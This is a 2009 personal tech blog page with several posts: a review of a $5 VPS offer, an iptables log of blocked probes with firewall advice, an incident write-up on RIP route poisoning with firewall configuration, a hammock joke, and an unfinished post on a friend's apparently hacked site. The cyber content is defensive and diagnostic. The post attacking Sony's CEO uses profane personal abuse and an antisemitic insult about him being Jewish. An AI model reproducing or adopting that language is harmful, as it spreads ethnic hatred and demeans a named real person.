Nullamatix - Technology Made Simple

2HOST $5 512MB Ram Xen VPS (LowEndBox)

Guy Patterson — Tue, 26 May 2009 11:23:57 +0000

I woke up this morning and started reading through Google Reader to see what appears to be an amazing offer posted on LowEndBox.com. The post claims a company called 2HOST is offering Xen based virtual private servers at $5/mo. How could anyone resist looking into this? Naturally, I did, and here’s the scoop.

512MB Ram / 1024MB Swap (More available)
1 IP Address (Upgrade to 2 for another $5/mo)
300GB Bandwidth per Month
Monthly or Yearly Payments Available
Xen Node with CentOS 5 & Debian 5 Available
“Dedicated, guaranteed, non-overbooked resources”
“100% gigabit powered screaming fast network”

Updates: [ 1 ] , [ 2 ] , [ 3 ]

They also say,

Our servers are all the latest dual socket, dual QuadCore Intel Xeon’s with at least 32GB Fully-Buffered RAM, high performance 6x 450GB SAS 15,000RPM RAID10 storage. Utilizing SAS drives with 15,000RPM means better performance, long life and servergrade hard drives, ideal for virtualization

Ok, sounds great, right? So far, yes, until you attempt reading their non existent Acceptable Use Policy, Terms of Service, Service Level Agreement, or Privacy Policy, all of which return a 404 at the time of writing.

bigbrother ~:# curl -I http://www.2host.com/tos.html
HTTP/1.0 404 Not Found
Date: Tue, 26 May 2009 03:13:30 GMT
Server: Apache/2
Content-Type: text/html; charset=iso-8859-1
X-Cache: MISS from 0x95.net
Connection: close
 
bigbrother ~:# curl -I http://www.2host.com/aup.pdf
HTTP/1.0 404 Not Found
Date: Tue, 26 May 2009 03:13:38 GMT
Server: Apache/2
Content-Type: text/html; charset=iso-8859-1
X-Cache: MISS from 0x95.net
Connection: close
 
bigbrother ~:# curl -I http://www.2host.com/sla.pdf
HTTP/1.0 404 Not Found
Date: Tue, 26 May 2009 03:13:43 GMT
Server: Apache/2
Content-Type: text/html; charset=iso-8859-1
X-Cache: MISS from 0x95.net
Connection: close
 
bigbrother ~:# curl -I http://www.2host.com/pp.pdf
HTTP/1.0 404 Not Found
Date: Tue, 26 May 2009 03:13:50 GMT
Server: Apache/2
Content-Type: text/html; charset=iso-8859-1
X-Cache: MISS from 0x95.net
Connection: close

How can a company that claims,

“a team of professionals with years of industry experience, focusing on US-based virtualized and dedicated server solutions. The company is driven by reliability, customer satisfaction and value for money”

even be considered when their “Legal Documents” are non existent? Anyway, I used their contact form to send them this,

Good Morning,

After seeing the incredible $5/mo ($60/yr) VPS offer, I was eager to sign up for a year, but like any good consumer, I first decided to check out the TOS, AUP, SLA, an PP, all of which 404′d.

http://www.2host.com/tos.html
http://www.2host.com/aup.pdf
http://www.2host.com/sla.pdf
http://www.2host.com/pp.pdf

Can you please provide these documents?

Also, is the $5/mo good for the lifetime of the VPS? If I purchase for a year, and then renew after that year, will the price remain $5/mo ($60/yr)?

Thanks,

Guy Patterson
http://www.nullamatix.com/

I’ll be sure to provide an update when and if they respond…

(Quick!) Update - 05/26/09 @ 07:45:00

Wow, within an hour of submitting my question, a member of 2HOST’s staff responded with this,

Hello,

The prices are for the life of the account and will not increase in the future (for the services that you have ordered).

We reserve the right to change prices for non-ordered products or services. If you have a 1GB VPS and we increased the prices for our 1GB and 1.5GB plans, your price will stay the same, unless you wish to upgrade to 1.5GB.

As for the Legal documents, I will look into this further.

Best regards,

John Danielsen

———————————————-
Ticket ID: #101XXX
Subject: Contact Form: WHT Offer
Status: Answered
Ticket URL: http://www.2host.com/support/viewticket.php?tid=xxxxxx&c=xxxxxxx
———————————————-

I may be signing up for one of these after all. Just standing by for the legal docs at this point…

Update - 05/27/09 @ 07:10:00

Still no word on the status of 2HOST.com’s “legal documents.” Such a shame, the price is amazing. I probably wouldn’t have a problem with any of their legal documents, but it’s just nice to know what you’re getting into before making any type of commitment. How is it possible to not have these documents available after five+ years of service? Incredible… Scam/Hoax?

Update - 05/29/09 @ 08:03:00

Looks like 2HOST’s legal docs are finally available. After reading over the SLA, I couldn’t help but notice the reference to “2HOS” instead of “2HOST.” Minor issue, just struck me as odd..

“Hello,

The Legal Documents page has been updated. If it’s still not working for you, please try clearing the browser cache. We appreciate your patience. Do let me know if you have any further questions.

Best regards,
John Danielsen“

After looking over their AUP, SLA, TOS, and PP, a server for $60/yr sounds pretty reasonable :]

Sony’s CEO, Michael Lynton, Is a Moron

Guy Patterson — Sun, 17 May 2009 18:59:17 +0000

Michael Lynton, Sony’s Harvard Graduate CEO, is a moron. Sure the guy is fluent in French, German, Dutch, and I suspect English, but none of that matters when you say something this ignorant.

“I’m a guy who doesn’t see anything good having come from the Internet…(The Internet) created this notion that anyone can have whatever they want at any given time. It’s as if the stores on Madison Avenue were open 24 hours a day. They feel entitled. They say, ‘Give it to me now,’ and if you don’t give it to them for free, they’ll steal it.“

I understand each individual has a unique perspective of what’s good and what’s bad, but to say nothing good has or will come from the Internet is just plain stupidity. The open lines of communication bring people together, allow familys to complete their family trees, help law enforcement find missing persons, and most importantly, allow the sharing of information in new and innovative ways. Is that it Mr. Lynton? You don’t think people should have the ability to share, exchange, and possess information unless deemed ok by YOU?

The Internet hasn’t created anything Mr. Lynton, you’re delusional. What you said is equivalent to, “Phones have created this notion that anyone can have whatever they want at any given time.” The Internet is nothing more than an advanced form of communication. Your argument has no validity, your opinion is worthless. My old man once told me, “Opinions are like assholes, son. Everyone has one and they all stink.” News flash Mr. Lynton, your asshole stinks, too. Mike’s use of pronouns is pitiful. The gross generalization of “they” implies a group of people, but who? Anyone who decides to use the Internet? Well guess what, I use the Internet. And I don’t have the notion that I can have whatever I want at any given time, you inconsiderate dick. Nice try old man, you’re unable to adapt to the changes happening around you.

Hey, sure would have been nice if the Jews had the Internet during WWII. Perhaps the OPEN LINES OF COMMUNICATION would have saved MILLIONS of people from all the pain and suffering your spoiled, arrogant jewish ass will never have to endure. But you don’t see anything good having come from the Internet… hahaha, wow.

I sure hope Sony collapses, soon. A cleanse is needed in our capitalist society. A cleanse to propell fresh, modern companies into the future, where the Internet is seen as a blessing rather than a burden. The world does not revolve around you Michael Lynton, your attempts to control the masses will fail as a result of the Internet. This is the true reason for your displeasure with the Internet. Peace be with you, sir.

: Michael Lynton Sony

IPTables Drop Log For 05.12.09

Guy Patterson — Wed, 13 May 2009 17:24:06 +0000

The Internet; so magical and dangerous, getting connected is a risk we’re all willing to take. Whether you’re infiltrating some moron’s botnet, or just surfing the web, the possibility of becoming a victim in a cyber attack is real. Everyday, without fail, Nullamatix.com is bombarded with malicious attacks from all over the world. Typically, the attackers aren’t targeting Nullamatix.com specifically, but a wide range of hosts, including you.

Here’s a log snippet from yesterdays events:

00:01:17  SRC=77.106.194.150   DST=209.40.196.119	SPT=1209    DPT=31577
00:04:15  SRC=67.223.213.174   DST=209.40.196.119	SPT=3195    DPT=135
00:05:10  SRC=79.125.10.202    DST=209.40.196.119	SPT=22      DPT=3072
00:12:04  SRC=66.209.106.210   DST=209.40.196.119	SPT=31748   DPT=1433
00:12:07  SRC=66.209.106.210   DST=209.40.196.119	SPT=31748   DPT=1433
00:14:25  SRC=67.223.213.174   DST=209.40.196.119	SPT=1227    DPT=135
00:14:31  SRC=208.77.45.66     DST=209.40.196.119	SPT=12200   DPT=1080
00:14:35  SRC=208.77.45.66     DST=209.40.196.119	SPT=12200   DPT=3128
00:15:28  SRC=208.77.45.66     DST=209.40.196.119	SPT=12200   DPT=8080
00:15:42  SRC=208.77.45.66     DST=209.40.196.119	SPT=12200   DPT=3128
00:15:47  SRC=208.77.45.66     DST=209.40.196.119	SPT=12200   DPT=6588
00:15:51  SRC=67.223.145.49    DST=209.40.196.119	SPT=47606   DPT=135
00:20:36  SRC=76.73.92.11      DST=209.40.196.119	SPT=80      DPT=24174
00:20:40  SRC=76.73.92.11      DST=209.40.196.119	SPT=80      DPT=24174
00:24:21  SRC=76.73.92.11      DST=209.40.196.119	SPT=80      DPT=24174
00:24:23  SRC=76.73.92.11      DST=209.40.196.119	SPT=80      DPT=24174
00:24:37  SRC=67.223.213.174   DST=209.40.196.119	SPT=1404    DPT=135
00:26:46  SRC=125.71.214.71    DST=209.40.196.119	SPT=20494   DPT=38926
00:26:49  SRC=125.71.214.71    DST=209.40.196.119	SPT=20494   DPT=38926
00:27:03  SRC=221.235.54.50    DST=209.40.196.119	SPT=5404    DPT=51981
00:27:06  SRC=221.235.54.50    DST=209.40.196.119	SPT=5404    DPT=51981
00:31:41  SRC=67.223.145.49    DST=209.40.196.119	SPT=9773    DPT=135
00:34:58  SRC=67.223.213.174   DST=209.40.196.119	SPT=4924    DPT=135
00:38:18  SRC=118.123.5.96     DST=209.40.196.119	SPT=6000    DPT=135
00:40:07  SRC=118.123.5.96     DST=209.40.196.119	SPT=6000    DPT=135
00:45:10  SRC=67.223.213.174   DST=209.40.196.119	SPT=3572    DPT=135
00:50:19  SRC=67.223.145.49    DST=209.40.196.119	SPT=51347   DPT=135
00:55:23  SRC=67.223.213.174   DST=209.40.196.119	SPT=2078    DPT=135
00:59:29  SRC=208.109.67.68    DST=209.40.196.119	SPT=80      DPT=24174
00:59:38  SRC=208.109.67.68    DST=209.40.196.119	SPT=80      DPT=24174
01:05:35  SRC=67.223.213.174   DST=209.40.196.119	SPT=3329    DPT=135
01:15:18  SRC=208.109.67.68    DST=209.40.196.119	SPT=80      DPT=24174
01:15:53  SRC=67.223.213.174   DST=209.40.196.119	SPT=1787    DPT=135
01:17:08  SRC=91.98.66.195     DST=209.40.196.119	SPT=51704   DPT=22
01:17:15  SRC=221.209.110.113  DST=209.40.196.119	SPT=48829   DPT=1027
01:26:12  SRC=67.223.213.174   DST=209.40.196.119	SPT=2412    DPT=135
01:26:48  SRC=67.159.61.64     DST=209.40.196.119	SPT=1351    DPT=135
01:36:23  SRC=67.223.213.174   DST=209.40.196.119	SPT=3931    DPT=135
01:43:44  SRC=67.159.61.64     DST=209.40.196.119	SPT=2149    DPT=135
01:46:35  SRC=67.223.213.174   DST=209.40.196.119	SPT=4331    DPT=135
01:47:17  SRC=61.191.63.8      DST=209.40.196.119	SPT=6000    DPT=2967
01:56:48  SRC=67.223.213.174   DST=209.40.196.119	SPT=1324    DPT=135
02:07:11  SRC=67.223.213.174   DST=209.40.196.119	SPT=4836    DPT=135
02:17:23  SRC=67.223.213.174   DST=209.40.196.119	SPT=1151    DPT=135
02:21:12  SRC=114.59.42.69     DST=209.40.196.119	SPT=2186    DPT=56561
02:21:15  SRC=114.59.42.69     DST=209.40.196.119	SPT=2186    DPT=56561
02:24:05  SRC=118.123.5.109    DST=209.40.196.119	SPT=6000    DPT=135
02:27:35  SRC=67.223.213.174   DST=209.40.196.119	SPT=3101    DPT=135
02:37:45  SRC=67.223.213.174   DST=209.40.196.119	SPT=2694    DPT=135
02:48:18  SRC=67.223.213.174   DST=209.40.196.119	SPT=4393    DPT=135
02:52:01  SRC=123.233.245.226  DST=209.40.196.119	SPT=20619   DPT=22
02:59:20  SRC=67.223.213.174   DST=209.40.196.119	SPT=3753    DPT=135
03:04:49  SRC=218.22.244.45    DST=209.40.196.119	SPT=1361    DPT=1434
03:10:38  SRC=67.223.213.174   DST=209.40.196.119	SPT=3392    DPT=135
03:12:36  SRC=118.123.5.109    DST=209.40.196.119	SPT=6000    DPT=135
03:18:28  SRC=173.45.90.10     DST=209.40.196.119	SPT=54835   DPT=10000
03:22:31  SRC=67.223.213.174   DST=209.40.196.119	SPT=4947    DPT=135
03:22:33  SRC=67.223.213.174   DST=209.40.196.119	SPT=4947    DPT=135
03:34:59  SRC=67.223.213.174   DST=209.40.196.119	SPT=3629    DPT=135
03:47:59  SRC=67.223.213.174   DST=209.40.196.119	SPT=4875    DPT=135
03:48:02  SRC=67.223.213.174   DST=209.40.196.119	SPT=4875    DPT=135
03:50:37  SRC=58.218.206.9     DST=209.40.196.119	SPT=6000    DPT=3389
04:01:15  SRC=67.223.213.174   DST=209.40.196.119	SPT=4196    DPT=135
04:03:58  SRC=67.223.212.164   DST=209.40.196.119	SPT=42375   DPT=135
04:04:01  SRC=67.223.212.164   DST=209.40.196.119	SPT=42375   DPT=135
04:12:45  SRC=67.220.210.18    DST=209.40.196.119	SPT=4890    DPT=135
04:18:31  SRC=67.205.99.205    DST=209.40.196.119	SPT=58616   DPT=135
04:20:39  SRC=61.150.91.36     DST=209.40.196.119	SPT=80      DPT=24174
04:39:32  SRC=116.58.36.139    DST=209.40.196.119	SPT=1087    DPT=31577
04:46:26  SRC=222.252.155.199  DST=209.40.196.119	SPT=11329   DPT=63657
04:48:17  SRC=194.44.165.81    DST=209.40.196.119	SPT=1363    DPT=63280
04:52:23  SRC=77.43.166.191    DST=209.40.196.119	SPT=3868    DPT=139
04:52:26  SRC=77.43.166.191    DST=209.40.196.119	SPT=3868    DPT=139
04:54:18  SRC=61.147.112.19    DST=209.40.196.119	SPT=6000    DPT=1433
05:02:09  SRC=61.147.112.19    DST=209.40.196.119	SPT=6000    DPT=1433
05:03:02  SRC=218.237.108.228  DST=209.40.196.119	SPT=1425    DPT=58281
05:06:21  SRC=118.123.5.105    DST=209.40.196.119	SPT=6000    DPT=135
05:06:34  SRC=195.78.247.4     DST=209.40.196.119	SPT=2203    DPT=31577
05:09:25  SRC=221.204.214.50   DST=209.40.196.119	SPT=35684   DPT=56561
05:09:28  SRC=221.204.214.50   DST=209.40.196.119	SPT=35684   DPT=56561
05:13:14  SRC=62.120.26.213    DST=209.40.196.119	SPT=1217    DPT=63657
05:13:24  SRC=89.149.236.221   DST=209.40.196.119	SPT=80      DPT=20335
05:17:21  SRC=209.42.180.144   DST=209.40.196.119	SPT=1789    DPT=135
05:27:56  SRC=95.133.46.106    DST=209.40.196.119	SPT=1034    DPT=63657
05:35:33  SRC=221.195.73.68    DST=209.40.196.119	SPT=6000    DPT=7212
05:35:33  SRC=221.195.73.68    DST=209.40.196.119	SPT=6000    DPT=8000
05:36:49  SRC=121.230.53.207   DST=209.40.196.119	SPT=1475    DPT=58281
05:41:39  SRC=221.209.110.113  DST=209.40.196.119	SPT=52525   DPT=1027
05:51:34  SRC=95.211.14.208    DST=209.40.196.119	SPT=80      DPT=3072
05:51:37  SRC=95.211.14.208    DST=209.40.196.119	SPT=80      DPT=3072
06:00:07  SRC=93.90.224.237    DST=209.40.196.119	SPT=1070    DPT=65035
06:12:36  SRC=67.55.227.247    DST=209.40.196.119	SPT=3495    DPT=135
06:12:39  SRC=67.55.227.247    DST=209.40.196.119	SPT=3495    DPT=135
06:13:31  SRC=118.123.5.109    DST=209.40.196.119	SPT=6000    DPT=135
06:15:01  SRC=118.123.5.109    DST=209.40.196.119	SPT=6000    DPT=135
06:18:09  SRC=206.156.254.185  DST=209.40.196.119	SPT=50696   DPT=22
06:18:12  SRC=206.156.254.185  DST=209.40.196.119	SPT=50696   DPT=22
06:38:04  SRC=220.162.241.11   DST=209.40.196.119	SPT=6649    DPT=1433
06:45:36  SRC=221.195.40.169   DST=209.40.196.119	SPT=6000    DPT=3128
06:55:41  SRC=94.179.49.141    DST=209.40.196.119	SPT=2501    DPT=56561
06:55:44  SRC=94.179.49.141    DST=209.40.196.119	SPT=2501    DPT=56561
06:56:49  SRC=41.211.213.59    DST=209.40.196.119	SPT=1116    DPT=58281
06:56:51  SRC=220.162.241.11   DST=209.40.196.119	SPT=43608   DPT=1433
06:59:39  SRC=220.162.241.11   DST=209.40.196.119	SPT=51053   DPT=1433
07:11:36  SRC=122.117.60.80    DST=209.40.196.119	SPT=60798   DPT=25
07:11:39  SRC=122.117.60.80    DST=209.40.196.119	SPT=60798   DPT=25
07:44:59  SRC=218.4.149.124    DST=209.40.196.119	SPT=2603    DPT=1434
07:51:36  SRC=118.123.5.109    DST=209.40.196.119	SPT=6000    DPT=135
07:53:05  SRC=118.123.5.109    DST=209.40.196.119	SPT=6000    DPT=135
08:22:49  SRC=81.19.132.8      DST=209.40.196.119	SPT=1907    DPT=31577
08:34:33  SRC=63.223.110.213   DST=209.40.196.119	SPT=60780   DPT=22
08:34:36  SRC=63.223.110.213   DST=209.40.196.119	SPT=60780   DPT=22
08:42:57  SRC=221.209.110.107  DST=209.40.196.119	SPT=49670   DPT=1026
08:50:14  SRC=221.235.54.50    DST=209.40.196.119	SPT=5404    DPT=51981
08:50:17  SRC=221.235.54.50    DST=209.40.196.119	SPT=5404    DPT=51981
09:00:30  SRC=94.50.116.235    DST=209.40.196.119	SPT=1553    DPT=63657
09:12:51  SRC=193.252.218.143  DST=209.40.196.119	SPT=1211    DPT=10000
09:22:08  SRC=218.6.12.230     DST=209.40.196.119	SPT=6000    DPT=1433
09:23:36  SRC=221.209.110.113  DST=209.40.196.119	SPT=32996   DPT=1026
09:24:04  SRC=209.252.84.131   DST=209.40.196.119	SPT=4851    DPT=139
09:34:50  SRC=125.65.112.217   DST=209.40.196.119	SPT=12200   DPT=1080
09:34:50  SRC=125.65.112.217   DST=209.40.196.119	SPT=12200   DPT=8080
09:43:46  SRC=168.126.20.129   DST=209.40.196.119	SPT=6000    DPT=1433
09:52:35  SRC=67.223.145.49    DST=209.40.196.119	SPT=33369   DPT=135
10:10:46  SRC=211.147.220.190  DST=209.40.196.119	SPT=6000    DPT=2967
10:29:30  SRC=189.89.38.204    DST=209.40.196.119	SPT=40910   DPT=22
10:29:33  SRC=189.89.38.204    DST=209.40.196.119	SPT=40910   DPT=22
10:39:57  SRC=61.160.213.53    DST=209.40.196.119	SPT=6000    DPT=135
10:42:31  SRC=67.223.145.49    DST=209.40.196.119	SPT=4459    DPT=135
10:50:01  SRC=211.157.103.138  DST=209.40.196.119	SPT=80      DPT=8137
10:50:32  SRC=218.4.149.124    DST=209.40.196.119	SPT=2603    DPT=1434
10:52:35  SRC=221.209.110.105  DST=209.40.196.119	SPT=40933   DPT=1027
10:54:16  SRC=67.36.63.137     DST=209.40.196.119	SPT=3522    DPT=135
12:02:05  SRC=67.223.145.49    DST=209.40.196.119	SPT=62708   DPT=135
12:06:02  SRC=61.191.63.3      DST=209.40.196.119	SPT=6000    DPT=135
12:07:15  SRC=61.191.63.3      DST=209.40.196.119	SPT=6000    DPT=135
12:11:30  SRC=67.223.145.49    DST=209.40.196.119	SPT=10600   DPT=135
12:14:03  SRC=65.98.240.53     DST=209.40.196.119	SPT=6000    DPT=3389
12:31:42  SRC=190.50.208.179   DST=209.40.196.119	SPT=24647   DPT=63280
12:39:26  SRC=67.223.145.49    DST=209.40.196.119	SPT=51588   DPT=135
12:43:02  SRC=201.134.103.165  DST=209.40.196.119	SPT=2481    DPT=22
12:43:05  SRC=201.134.103.165  DST=209.40.196.119	SPT=2481    DPT=22
12:59:10  SRC=221.209.110.105  DST=209.40.196.119	SPT=46610   DPT=1026
14:22:01  SRC=67.223.145.49    DST=209.40.196.119	SPT=47459   DPT=135
14:32:58  SRC=61.160.211.21    DST=209.40.196.119	SPT=6000    DPT=2967
14:34:38  SRC=67.223.145.49    DST=209.40.196.119	SPT=16728   DPT=135
14:46:16  SRC=221.130.198.14   DST=209.40.196.119	SPT=6000    DPT=8080
14:47:57  SRC=221.130.198.14   DST=209.40.196.119	SPT=6000    DPT=8080
14:49:15  SRC=201.78.227.103   DST=209.40.196.119	SPT=1578    DPT=36858
14:49:18  SRC=201.78.227.103   DST=209.40.196.119	SPT=1578    DPT=36858
14:55:14  SRC=58.53.192.47     DST=209.40.196.119	SPT=53802   DPT=22
14:55:49  SRC=67.18.130.34     DST=209.40.196.119	SPT=1475    DPT=4899
14:56:33  SRC=190.146.236.242  DST=209.40.196.119	SPT=63498   DPT=58281
14:57:41  SRC=202.101.42.73    DST=209.40.196.119	SPT=4310    DPT=5900
14:57:43  SRC=202.101.42.73    DST=209.40.196.119	SPT=4310    DPT=5900
16:02:11  SRC=190.144.121.90   DST=209.40.196.119	SPT=9366    DPT=22
16:02:14  SRC=190.144.121.90   DST=209.40.196.119	SPT=9366    DPT=22
16:02:53  SRC=190.41.24.150    DST=209.40.196.119	SPT=11901   DPT=48222
16:02:56  SRC=190.41.24.150    DST=209.40.196.119	SPT=11901   DPT=48222
16:03:01  SRC=221.195.40.169   DST=209.40.196.119	SPT=6000    DPT=2967
16:05:19  SRC=61.160.211.21    DST=209.40.196.119	SPT=6000    DPT=2967
16:10:09  SRC=219.85.29.130    DST=209.40.196.119	SPT=4460    DPT=25
16:10:18  SRC=219.85.29.130    DST=209.40.196.119	SPT=4460    DPT=25
16:20:40  SRC=211.157.103.138  DST=209.40.196.119	SPT=80      DPT=8137
16:26:15  SRC=89.36.82.43      DST=209.40.196.119	SPT=80      DPT=1024
16:36:58  SRC=58.30.19.33      DST=209.40.196.119	SPT=80      DPT=8137
16:41:04  SRC=60.28.166.94     DST=209.40.196.119	SPT=80      DPT=8137
16:41:10  SRC=81.183.213.107   DST=209.40.196.119	SPT=35216   DPT=4899
16:41:13  SRC=81.183.213.107   DST=209.40.196.119	SPT=35216   DPT=4899
16:41:19  SRC=81.183.213.107   DST=209.40.196.119	SPT=35216   DPT=4899
16:41:37  SRC=211.157.103.138  DST=209.40.196.119	SPT=80      DPT=8137
16:45:57  SRC=60.28.166.94     DST=209.40.196.119	SPT=80      DPT=8137
16:46:25  SRC=221.195.73.68    DST=209.40.196.119	SPT=6000    DPT=7212
16:46:25  SRC=221.195.73.68    DST=209.40.196.119	SPT=6000    DPT=8000
16:48:05  SRC=61.147.112.81    DST=209.40.196.119	SPT=6000    DPT=1433
16:53:52  SRC=61.147.112.81    DST=209.40.196.119	SPT=6000    DPT=1433
16:54:42  SRC=58.20.154.23     DST=209.40.196.119	SPT=1857    DPT=1434
16:55:19  SRC=201.21.82.66     DST=209.40.196.119	SPT=1211    DPT=58281
16:56:43  SRC=67.223.212.164   DST=209.40.196.119	SPT=58648   DPT=135
16:56:46  SRC=67.223.212.164   DST=209.40.196.119	SPT=58648   DPT=135
16:58:14  SRC=61.137.90.253    DST=209.40.196.119	SPT=6000    DPT=8080
18:00:51  SRC=98.212.142.147   DST=209.40.196.119	SPT=2370    DPT=1433
18:06:22  SRC=221.209.110.105  DST=209.40.196.119	SPT=33472   DPT=1026
18:21:44  SRC=125.65.112.177   DST=209.40.196.119	SPT=6000    DPT=135
18:36:55  SRC=118.123.5.105    DST=209.40.196.119	SPT=6000    DPT=135
18:37:41  SRC=61.160.216.63    DST=209.40.196.119	SPT=12200   DPT=7212
18:37:41  SRC=61.160.216.63    DST=209.40.196.119	SPT=12200   DPT=8000
18:38:14  SRC=118.123.5.105    DST=209.40.196.119	SPT=6000    DPT=135
18:45:23  SRC=67.220.210.18    DST=209.40.196.119	SPT=4768    DPT=135
18:58:49  SRC=125.65.165.139   DST=209.40.196.119	SPT=12200   DPT=3128
18:58:50  SRC=125.65.165.139   DST=209.40.196.119	SPT=12200   DPT=8000
20:00:55  SRC=220.190.66.78    DST=209.40.196.119	SPT=65370   DPT=63280
20:03:37  SRC=209.252.84.131   DST=209.40.196.119	SPT=2789    DPT=139
20:03:40  SRC=209.252.84.131   DST=209.40.196.119	SPT=2789    DPT=139
20:05:02  SRC=58.20.154.23     DST=209.40.196.119	SPT=1857    DPT=1434
20:06:50  SRC=67.223.133.85    DST=209.40.196.119	SPT=47303   DPT=135
20:09:52  SRC=187.141.71.172   DST=209.40.196.119	SPT=44820   DPT=22
20:25:01  SRC=67.223.133.85    DST=209.40.196.119	SPT=12397   DPT=135
20:36:03  SRC=189.228.129.174  DST=209.40.196.119	SPT=60701   DPT=22
20:36:42  SRC=58.83.127.206    DST=209.40.196.119	SPT=55453   DPT=36858
20:36:45  SRC=58.83.127.206    DST=209.40.196.119	SPT=55453   DPT=36858
20:44:30  SRC=67.223.133.85    DST=209.40.196.119	SPT=32873   DPT=135
20:49:36  SRC=221.209.110.105  DST=209.40.196.119	SPT=44753   DPT=1026
20:51:29  SRC=67.213.14.126    DST=209.40.196.119	SPT=4163    DPT=135

The point of this post is to stress the importance of keeping your networks secure. Whether you’re responsible for 1 IP address, or 65,000, there’s no room for error. Take the time to setup a firewall if you haven’t already. And never trust outgoing connections, despite the temptation to just say, “Fuck it, this is too much work.” Always monitor traffic coming in or going out of your network, keep a watchful eye on logs (they won’t watch themselves…), and never, EVER permit inbound traffic from untrusted sources on server management ports (22, 3389, 3306, etc).

If you can’t afford to implement these simple security measures now, how can you afford to have your identify stolen or defend yourself in court for distributing child pornography later? Do you think you’re invisible to such disastrous events? Share your comments or questions below…

Chaos in The Enterprise - RIP Poisoning 101

Guy Patterson — Mon, 11 May 2009 23:58:52 +0000

At approximately 15:00:00 on Saturday, May 9th, 2009, one of our seven regional sites replaced their Nortel switch with a Cisco Switch.

By 15:45:00, several hundred network monitor alerts made their way into my inbox (blackberry is going nuts). I immediately suspect the server responsible for issuing the alerts was somehow broken, so I login and find nothing unusual. Further troubleshooting revealed a more serious problem…

19:40:00 - 20:00:00

Guy: y0y0y0. you getting all these alerts??
Guy: the whole enterprise is down...
netstaff-001: Not on call...
Guy: me either
netstaff-001: So haven't been paying attention
Guy: trew
netstaff-001: Lemme call netstaff-002
netstaff-001: Only seen 1 network alarm though
Guy: well, im seeing 800+ non responsive hosts
netstaff-001: Its internal
netstaff-001: Check main fw
netstaff-001: No circuit outages
netstaff-001: netstaff-002 is on his way in
netstaff-001: Who's security oncall? You?
Guy: region 5's firewall died earlier today, but
that shouldn't effect ALL the regions
Guy: N. secstaff-002 is. he hasn't responded yet.
netstaff-001: Haha
netstaff-001: network monitor is f****** up
Guy: is it?    ( <-- i played dumb despite already checking into that)
netstaff-001: Wouldn't know
netstaff-001: Don't have access:D
netstaff-001: netstaff-002 said he'd send an email when he got onsite
netstaff-001: secstaff-002 needs to respond

Yea, but he’s not. Take some initiative…

20:18:00
Someone in the field finally noticed…

Can someone tell me why the network is down??
 
--------------------------
Sent from my BlackBerry Wireless Handheld

Not yet… we’re investigating.

20:54:00
A regional member of our security team volunteers to disable the thousands of email alerts being dispatched.

22:36:00
Lead Network Engineer & Security Manager asks myself and the others working the incident to examine the routes on Region X’s firewalls.

23:04:00
Sure enough, bogus/poisonous routes from an erroneous RIP advertisement were identified:

region6-fw # get router info routing-table all
Codes: K - kernel, C - connected, S - static, R - RIP, B - BGP
       O - OSPF, IA - OSPF inter area
       N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2
       E1 - OSPF external type 1, E2 - OSPF external type 2
       i - IS-IS, L1 - IS-IS level-1, L2 - IS-IS level-2, ia - IS-IS inter area
       * - candidate default
 
R*      0.0.0.0/0 [120/4] via 172.17.12.1, external, 05:11:06
R       10.10.0.0/16 [120/4] via 192.168.112.1, internal, 03:23:46
S       10.10.255.10/32 [5/0] is directly connected, REDZONE_VPN
R       192.68.0.0/16 [120/3] via 192.168.112.1, internal, 03:23:46
C       192.168.112.0/24 is directly connected, internal
S       192.168.113.0/24 [10/0] via 192.168.112.1, internal
R       192.168.114.0/24 [120/2] via 172.17.12.162, ha, 04:35:33
S       192.168.122.0/26 [10/0] via 192.168.112.1, internal
R       172.17.0.0/16 [120/4] via 192.168.112.1, internal, 03:23:46
C       172.17.12.0/30 is directly connected, external
C       172.17.12.160/30 is directly connected, ha
R       172.20.0.0/16 [120/2] via 192.168.112.1, internal, 03:23:46
R       192.168.111.0/24 [120/2] via 192.168.112.1, internal, 03:23:46

Ravishing. It appears the switch behind this firewall is advertising their gateway (192.168.112.1) as the intended destination for the entire 192.168.0.0/16 network (65,534 addresses), and our wonderful firewall is allowing it - fucking beautiful… We’ve been RIP Poisoned. Now to stop this non-sense. Here’s what we came up with for possible mitigation techniques:

Disable RIP on the firewall’s internal interface
Delete the internal interface from the firewalls RIP configuration
Set the internal interface to passive mode
Define a policy to DENY RIP advertisements destine for the internal interface
Flush the routing table and/or reboot the firewall

One would hope deleting an interface from the router rip configuration would have done the trick, allowing us to get some sleep. Well, that’s not the case with this Fortinet firewall…

Somewhere Between: 00:00:00 and 01:30:00

region6-fw # config router rip
 
region6-fw (rip) # config interface
 
region6-fw (interface) #  delete internal
 
region6-fw (interface) #  end
 
region6-fw (rip) # show config router rip
        config distribute-list
            edit 1
                set interface "external"
                set listname "DROP_DIRTY_SEGMENT"
            next
            edit 2
                set interface "external"
                set listname "ACC_1"
                set status enable
            next
            edit 3
                set interface "ha"
                set listname "ACC_1"
                set status enable
            next
            edit 4
                set interface "external"
                set listname "REDZONE_01"
                set status enable
            next
        end
        config interface
            edit "external"
                set split-horizon regular
            next
        end
        config network
            edit 1
                set prefix 172.16.0.0 255.255.0.0
            next
            edit 2
                set prefix 172.17.0.0 255.255.0.0
            next
            edit 3
                set prefix 192.168.0.0 255.255.0.0
            next
        end
        config redistribute "connected"
            set status enable
        end
        config redistribute "static"
            set status enable
        end
        config redistribute "ospf"
        end
        config redistribute "bgp"
        end
end

Look ma, no internal interface! We’re all pretty baffled at this point. The RIP advertisements are still getting through and still poisoning the entire network. Around 01:45:00, 25,500+ sessions, to NO. WHERE. We eventually disabled the firewall’s internal interface, at least until the system administrator could disable that fancy new auto-summary feature on his switch…

Ahh, good times.

Fortinet said we did the right thing, but couldn’t explain why their product failed to produce the desired result. I’m sure they’ll come up with an explanation soon. Stay tuned for an update.

So - how the heck was your weekend? :]

Rackmount Hammock - Server Room Accessory

Guy Patterson — Sun, 03 May 2009 08:38:51 +0000

In response to the redditor seeking appropriate server room accessories, behold!:

Did I Win The Rackmount Hammock Game?

ob_start create_function return str_repeat rand

Guy Patterson — Sat, 02 May 2009 00:52:08 +0000

The title is terrible, but I seriously had no idea what else to consider, other than something similar to what I searched for. Here’s the story…

As I’m going through unread email, I came across this from a friend and fellow webmaster,

My home page has had trouble loading for people in the past two days.

FF says “The page you are trying to view cannot be shown because it uses an invalid or unsupported form of compression.”
IE just times out.

Any idea wtf? I was able to load it earlier.. but now I can’t. I haven’t made any changes to it. lame lame lame lame

Sure enough, I visit the page, nothing. Lets see what the headers say.

http://www.r00ted-site??.com/

GET / HTTP/1.1
Host: www.r00ted-site??.com

